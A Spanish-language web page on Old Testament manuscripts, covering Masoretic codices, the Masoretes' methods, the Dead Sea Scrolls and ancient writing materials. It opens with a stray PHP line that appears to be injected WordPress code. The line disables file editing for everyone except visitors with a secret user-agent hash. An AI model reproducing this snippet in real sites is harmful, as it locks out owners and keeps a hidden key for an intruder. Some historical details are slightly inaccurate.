if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } LOS MANUSCRITOS DEL AT – Texto Bíblico

Manuscritos del texto masorético

 LOS MANUSCRITOS DEL ANTIGUO TESTAMENTO

Manuscritos del texto masorético

Con la excepción de los rollos Mar Muerto, todos nuestros manuscritos más antiguos de la Biblia hebrea son de la parte final del período masorético.Probablemente el más antiguo es una copia del Pentateuco, del siglo IX, que está en el Museo Británico. Sin embargo, la fecha no es completamente segura puesto que se la ha establecido a base del estilo de su escritura.El manuscrito de la Biblia hebrea conceptuado como más antiguo es una copia de los “profetas posteriores”; está en Leningrado y fue escrito en 916 d. C.
Codex_laudianus
Aleppo_Codex
Page from Aleppo Codex, Deuteronomy (Masoretic Text) The Aleppo Codex is a medieval manuscript of the Hebrew Bible (Tanakh), associated with Rabbi Aaron Ben Asher. The Masoretic scholars wrote it in the early 10th century, probably in Tiberias, Israel. It is in book form and contains the vowel points and grammar points (nikkudot) that specify the pronunciation of the ancient Hebrew letters to preserve the chanting tradition. It is perhaps the most historically important Hebrew manuscript in existence.

Otras copias famosas de la Biblia hebrea son el Códice Laudiano de Oxford, del siglo X, contiene casi todo el Antiguo Testamento, y el Códice Ben Aser de Alepo, también del siglo X, el que lamentablemente fue dañado durante un motín antijudío en 1948*.

Otros manuscritos antiguos de la Biblia hebrea fueron encontrados en una sinagoga del Cairo, donde habían escapado a la destrucción. La mayor parte de ellos están ahora en colecciones rusas y en la biblioteca de la Universidad de Cambridge, Inglaterra.

La razón de la escasez de antiguos manuscritos de la Biblia hebrea es una ley judía que prohibe el uso de Biblias desgastadas y arruinadas. Tenían que ser enterradas o destruidas de otra manera para evitar cualquier profanación del divino nombre de Dios que contenían. Por lo tanto, si un manuscrito envejecía y se desgastaba, era puesto en un cuarto de la sinagoga, llamado geniza, para ser destruido después. Hasta ahora sólo se ha encontrado una geniza que contuviera manuscritos antiguos; la del Cairo.

Hasta donde sepamos, se han perdido todos los otros manuscritos bíblicos del primer milenio de la era cristiana. Sin embargo, el extremo cuidado con que fueron escritos los manuscritos por los escribas judíos es una garantía de la exactitud de las copias existentes de la Biblia. El descubrimiento de los Rollos del Mar Muerto que ha proporcionado textos que son mil años más antiguos que las copias más antiguas de la Biblia hebrea conocidas hasta entonces, ha demostrado que el texto del Antiguo Testamento nos ha sido transmitido prácticamente en la misma forma como lo conoció Cristo.

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* El Códice fue recuperado de entre las ruinas de la sinagoga de Alepo (1948), fue escondido por varios años y luego enviado a Israel y se conserva en el Instituto Ben-Zví de Jerusalén. Aproximadamente la cuarta parte de sus páginas fueron destruidas. Sólo se han conservado 11 páginas del Pentateuco (Deut. 26:37 – 34:12), más una página del Génesis, secretamente fotografiada en el siglo XIX, y publicada en 1887.
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La obra de los masoretas

Los eruditos judíos de los primeros cinco siglos de la era cristiana completaron la tarea de dividir el texto de la Biblia en párrafos, grandes y pequeños, tal como se encuentran todavía hoy en los textos de la Biblia hebrea. Estas divisiones no se debieran confundir con los capítulos y versículos que se encuentran en nuestro Antiguo Testamento en castellano, que son de un origen posterior.

Los rabinos judíos también introdujeron una cantidad de marcas diacríticas para señalar la ubicación de pasajes difíciles que se explicaban en sus escritos. Puesto que no existen manuscritos de la Biblia escritos durante este período, nuestra información acerca de la obra de estos eruditos judíos en lo que atañe a la Biblia hebrea procede del Talmud.

Aproximadamente desde el año 500 D.C., los eruditos judíos que perpetuaron la tradición concerniente al texto del Antiguo Testamento han sido llamados masoretas, de Masora, el término técnico hebreo para la “tradición remota en cuanto a la forma correcta del texto de las Escrituras”. Estos hombres se esforzaron por asegurar la transmisión exacta del texto a las generaciones futuras y consignaron los resultados de sus labores en monografías y en anotaciones hechas a la Biblia.

Puesto que el hebreo había sido una lengua muerta durante siglos – reemplazada completamente por el arameo como lengua viva – existía el peligro de que su pronunciación se perdiera enteramente con el correr del tiempo. Por esa razón los masoretas inventaron un sistema de signos vocálicos que se añadieron a las consonantes hebreas. Así se simplificó la lectura de la Biblia hebrea y se garantizó la conservación de la pronunciación que existía entonces. Sin embargo, no debiera pasarse por alto que la pronunciación conocida a través del texto común de la Biblia hebrea es la de los masoretas del siglo VII de la era cristiana que, como lo sabemos ahora, varía algo de la del período del Antiguo Testamento.

Los masoretas también inventaron dos complicados sistemas de acentos, uno para los libros en prosa y otro para los Salmos y Job. Los acentos consisten en mucho signos diferentes añadidos al texto con el propósito de indicar los diversos matices de pronunciación y énfasis.

Cada vez que los masoretas creyeron que algo debía leerse en forma diferente de la que estaba escrita en el texto, colocaron en el margen los cambios sugeridos, pero no cambiaron el texto mismo.

Un ejemplo es la lectura del nombre de Dios – que consiste en las cuatro consonantes hebreas YHWH (llamado el tetragrámaton) – que probablemente se pronunciaba Yahwéh en la antigüedad. Pero durante siglos lo judíos piadosos, temiendo profanar el nombre santo, no lo habían pronunciado. En cambio, cuando llegaban a la palabra YHWH, decían ‘Adonai: Señor.
Los masoretas fieles a su principio de no cambiar las Escrituras, dejaron las cuatro consonante hebreas YHWH cada vez que las encontraron, pero les añadieron las vocales de la palabra ‘Adonai. Por lo tanto, cada lector judío experto al llegar a esta palabra, leía ‘Adonai, aunque sólo estaban las vocales de la palabra ‘adonai añadidas a las consonantes YHWH. Puesto que los cristianos de la primera época de la Reforma no conocía la práctica explicada, se limitaron a transliterar como Jehová el divino nombre de Dios.

Los masoretas establecieron, además, reglas detalladas y exactas que debían aplicarse en la producción de nuevas copias de la Biblia. Nada se dejó a la decisión de lo escribas, ni el largo de las líneas y columnas, ni el color de la tinta a emplearse. Se contaban las palabras de cada libro y se fijaba la palabra que quedaba a la mitad a fin de poder comprobar la exactitud de las nuevas copias. Al final de cada libro se añadía una nota que daba la cantidad total de palabras contenida en el libro, que decía cuál era la palabra que estaba en la mitad y que además daba otras informaciones estadísticas.

Los manuscritos del Mar Muerto

 

Antes de 1947, el manuscrito de la Biblia hebrea más antiguo conocido era un fragmento de hoja de papiro que contiene el Decálogo y las palabras de Deuteronomio 6:4, 5. Este documento, llamado el “Papiro Nash”, proviene aproximadamente del año 100 AC, y fue hasta 1947 unos mil años más antiguo que cualquier otro manuscrito conocido de la Biblia hebrea.En 1947 se efectuó el mayor descubrimiento de manuscritos bíblicos de los tiempos modernos, cuando algunos beduinos hallaron varios rollos de cuero y fragmentos en una cueva cerca de la orilla noroeste del mar Muerto. Puesto que nunca antes se habían encontrado rollos tales, sus propietarios árabes tuvieron algunas dificultades para venderlos. Los compradores temían que pudieran ser falsificaciones.Sin embargo, finalmente una parte de los rollos llegó a manos del Prof. E. L. Sukenik de la Universidad Hebrea y una parte quedó en posesión del monasterio sirio de Jerusalén. El Dr. John C. Trever, que entonces era director interino de la Escuela Norteamericana de Investigaciones Orientales de Jerusalén, fue el primer erudito que reconoció su antigüedad, y llamó la atención de los expertos norteamericanos para que estudiaran los rollos.En la primavera de 1948, cuando las primeras noticias de su descubrimiento llegaron al mundo occidental, los Manuscritos del Mar Muerto inflamaron la imaginación de cristianos y judíos por igual, en una forma como no lo había logrado ningún otro descubrimiento arqueológico desde los días del descubrimiento de la tumba inviolada del rey Tutankamón en Egipto, unos 25 años antes.

Se inició una activa búsqueda para encontrar nuevos rollos cuando se comprendió que el clima seco del desierto de Judea había preservado materiales antiguos perecederos, tales como rollos de piel, los que se habrían desintegrado ya hace mucho en otros lugares de la Tierra Santa debido a los inviernos húmedos. No tardaron en descubrirse nuevas cavernas que contenían rollos y miles de fragmentos de rollos.

En la zona de Qumran, donde se descubrió la primera caverna, posteriormente algunos beduinos y arqueólogos encontraron otras once cavernas que contenían manuscritos.

Este material, ha sido denominado Rollos de Qumran, pero la expresión “Manuscritos del Mar Muerto” incluye, además, los que proceden de otras zonas del desierto de Judea, cerca del mar Muerto. Parte de este material se encontró en el Wadi Murabba’at, en el sureste de Belén, otra parte se descubrió en el Wadi Hever, y otra parte procedió de las excavaciones de las ruinas de la fortaleza judía de Massada, destruida por los romanos en el año 73 DC.
Khirbet Qumran, unas ruinas ubicadas en las proximidades de la primera caverna, yacen cerca de la desembocadura del Wadi Qumran, que entra en el mar Muerto a unos trece kilómetros al sur de Jericó.Cuando se excavaron esas ruinas, se descubrió que había existido allí la parte principal de una comunidad constituida por una secta judía sumamente estricta, probablemente los esenios. Las excavaciones arrojaron mucha luz acerca de la vida de la secta, cuyos miembros habían sido los propietarios de los rollos encontrados en el vecindario. En esta especie de monasterio los miembros de la secta trabajaban, comían, llevaban a cabo sus rituales religiosos y adoraban juntos a su Dios, aunque vivían en las cavernas circundantes.Los edificios de Qumran fueron destruidos en la primera guerra entre los judíos y los romanos (años 66-76 DC). Probablemente los miembros de esa secta perecieron en esos años, porque a partir de entonces el grupo desapareció. Al parecer muchos de los rollos fueron ocultados en las cavernas ante la amenaza de destrucción. Los dueños nunca regresaron en busca de ese material.Los manuscritos encontrados son de naturaleza variada. En la primera caverna se encontró una copia completa y otra incompleta del libro de Isaías, una parte de un comentario sobre Habacuc y fragmentos del Génesis, Deuteronomio, Jueces y Daniel – todos escritos en el estilo de la escritura hebrea utilizada después del exilio en Babilonia – y fragmentos del Levítico en escritura preexílica.En otras cavernas se encontraron grandes porciones de los Salmos, Samuel y Levítico. Con el tiempo se descubrieron en estas cavernas fragmentos de todos los libros del Antiguo Testamento, con excepción de Ester. Otros libros hebreos representados por los rollos y fragmentos son obras apócrifas y seudoepigráficas que ya se conocían, libros de naturaleza sectaria desconocidos hasta entonces y algunas obras de carácter secular. La escritura usada en estas obras es consonántica, puesto que en esa época los hebreos todavía no usaban las vocales.El estudio de estos rollos ha originado una nueva rama de las ciencias bíblicas. Aún hoy, décadas después del descubrimiento de la primera caverna de Qumran, no han sido publicados todos los manuscritos descubiertos. Sin embargo los artículos y libros que tratan de los rollos del Mar Muerto se cuentan por miles, y la bibliografía correspondiente al material que se ha publicado ya constituye varios volúmenes. ¹

Durante los primeros años después de su descubrimiento, los eruditos entablaron una acalorada batalla en torno a su autenticidad y a su edad; pero ya hace mucho que se han silenciado las voces de la duda.Cuando los arqueólogos profesionales encontraron en sus exploraciones y excavaciones la misma clase de rollos descubiertos anteriormente por los beduinos, se tornó sumamente claro, aun para los incrédulos más recalcitrantes, que los rollos del Mar Muerto no eran un producto de falsificaciones modernas o medievales, sino auténticos manuscritos antiguos.Se acepta en general que los Manuscritos del Mar Muerto fueron escritos durante un período comprendido entre el siglo III AC y el siglo I D.C.Los manuscritos encontrados en otras zonas ya mencionadas proceden de los siglos I y II D.C.Estos descubrimientos han puesto a nuestra disposición manuscritos bíblicos que tienen una antigüedad de mil años más que los textos bíblicos hebreos conocidos antes del descubrimiento de esos rollos.Esto reviste una gran importancia porque nos ha proporcionado muestras de todos los libros del Antiguo Testamento, menos uno, en la forma como existían durante la época del ministerio de Cristo. En otras palabras, ahora sabemos cómo era la Biblia de los tiempos de Cristo.

Hemos descubierto que su texto contiene tan sólo escasas diferencias con el texto que nuestros traductores modernos han utilizado. Aunque los Manuscritos del Mar Muerto contienen numerosas variantes lingüísticas, tales como variaciones en la ortografía o en formas gramaticales, estas diferencias son tan insignificantes que difícilmente se aprecian en las distintas traducciones hechas de esos rollos si se compara su texto con el de traducciones hechas a partir de otras fuentes.

En esta forma los rollos dan un testimonio elocuente de la fiel transmisión del texto de la Biblia hebrea a lo largo de los siglos cuando la Biblia se copiaba a mano. El descubrimiento de los Manuscritos del Mar Muerto nos ha proporcionado una prueba de que en el Antiguo Testamento todavía poseemos la Biblia de Jesucristo en la misma forma que él conocía y que recomendó.

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¹ Véase “la página web del Proyecto Digital de los Manuscritos del Mar Muerto, un proyecto desarrollado en colaboración con Google que permite, por primera vez en la historia, el acceso directo a los manuscritos desde cualquier parte del planeta. A través de esta web los usuarios podrán consultar y explorar los manuscritos, realizar búsquedas y cargar rápidamente imágenes de alta resolución con un nivel de detalle hasta ahora inalcanzables. Las imágenes vienen acompañadas por textos y vídeos explicativos que aportan información inicial sobre los manuscritos y su historia.” 

Material de escritura

 LOS MANUSCRITOS DEL ANTIGUO TESTAMENTO

Material de escritura

Psalm 90
Papyrus fragment of Psalm 90 from the Greek Old Testament (from the Papyrus Archive at Duke University)

Los antiguos usaban diferentes clases de materiales de escritura, tales como arcilla, tablillas de madera, pedacitos de piedra caliza o fragmentos de alfarería, cueros curtidos de animales, o papiros. El último material mencionado, precursor de nuestro papel moderno, se hacía de la planta del papiro que crece en pantanos. Para los documentos más largos, probablemente éste fue el material de escritura más antiguo usado en Egipto. Puesto que los primeros libros de la Biblia han sido escritos en rollos de papiro, corresponde dar una explicación de este material de escritura.

Papyrus Harris I

El tallo de la planta de papiro se cortaba en tiras angostas, de unos 22 a 25 cm de largo. Las tiras eran colocadas a lo largo, lado a lado, y una segunda capa era pegada transversalmente sobre ella mediante presión. Las hojas que así se producían eran martilladas y frotadas con piedra pómez para que quedara una superficie pareja y lisa. Las hojas, que generalmente no medían más de unos 65 cm², eran pegadas en forma de rollos que no medían más de unos 10 m, aunque se conocen rollos mucho más largos; el famoso papiro Harris, del Museo Británico, tiene unos 50 m de largo. Generalmente se escribía sólo sobre la capa horizontal (anverso), pero ocasionalmente también sobre la capa vertical (reverso).

Los papiros escritos más antiguos conocidos proceden de la quinta dinastía egipcia, que ha sido ubicada en la mitad del tercer milenio antes de Cristo. Egipto era un país que producía mucho papiro y exportaba grandes cantidades de este material de escritura. Puesto que Moisés, el autor de los primeros libros de la Biblia, había recibido su educación en Egipto y escribió en las proximidades de Egipto, es posible que los primeros libros de la Biblia fueran escritos en rollos de papiro.

Österreichische Nationalbibliothek – Papyrussammlung und Papyrusmuseum

Por Jeremías sabemos que los documentos eran guardados en vasijas: “Así ha dicho Jehová de los ejércitos, Dios de Israel: Toma estas cartas, esta carta de venta sellada, y esta carta abierta, y ponlas en una vasija de barro, para que se conserven muchos días” Jeremías 32:14). Ésta declaración ha sido corroborada por muchos documentos antiguos hallados en vasijas durante las excavaciones de ciudades de antaño.

Mediante evidencia documental se sabe que del siglo XV en adelante se usaban rollos de cuero en Egipto. Los manuscritos de cuero más antiguos proceden del siglo V AC. Se usaban rollos de cuero en los casos cuando se necesitaba un material de escritura más durable. De ahí que sean de cuero los Rollos del Mar Muerto, y que posiblemente provienen de la biblioteca de una sinagoga.

La vitela (o pergamino fino), se preparaba con pieles de animales jóvenes – ganado vacuno, cabras, ovejas o venados – trabajadas y pulidas con mucho esmero. No se empleó mucho hasta el siglo II AC. Era el más caro de los materiales de escritura y se usaba sólo para los manuscritos muy valiosos – como los manuscritos de la Biblia de la iglesia cristiana del siglo IV, la que para ese tiempo disfrutaba de honores y riquezas.

Las plumas para escribir en los papiros eran de cañas golpeadas hasta convertirlas en pinceles finos; pero se usaban plumas de punta aguzada para escribir en cuero. La mayor parte de la tinta empleada por los escribas antiguos era hecha de hollín con una solución de goma; pero las muestras de tinta que se han hallado, que datan hasta del siglo VI AC, contienen algo de hierro, el que probablemente provenía de agallas de roble.